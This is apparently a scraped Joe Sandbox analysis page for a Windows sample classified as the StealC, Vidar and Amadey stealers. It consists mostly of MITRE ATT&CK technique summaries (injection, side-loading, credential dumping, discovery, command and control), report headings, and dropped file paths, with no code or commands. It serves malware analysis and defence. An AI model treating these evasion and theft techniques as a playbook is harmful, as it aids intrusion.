Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Rnteb46TuM.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAEHIDAKECFIEBGDHJEBKKKKJK

C:\ProgramData\BKJEGDGIJECGCBGCGHDGIEGCBF

C:\ProgramData\EBFBKFBG

C:\ProgramData\GIIEGHIDBGHIECAAECGD

C:\ProgramData\IEHJDGIDBAAFIDGCGCAK

C:\ProgramData\IIECFHDBAAECAAKFHDHIIJKFHJ

C:\ProgramData\JEBKECAFIDAFIECBKEHD

C:\ProgramData\JKKEHJDH

C:\ProgramData\KEBGHCBAEGDHIDGCBAECGIECGH

C:\ProgramData\freebl3.dll

Windows Analysis Report
Rnteb46TuM.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre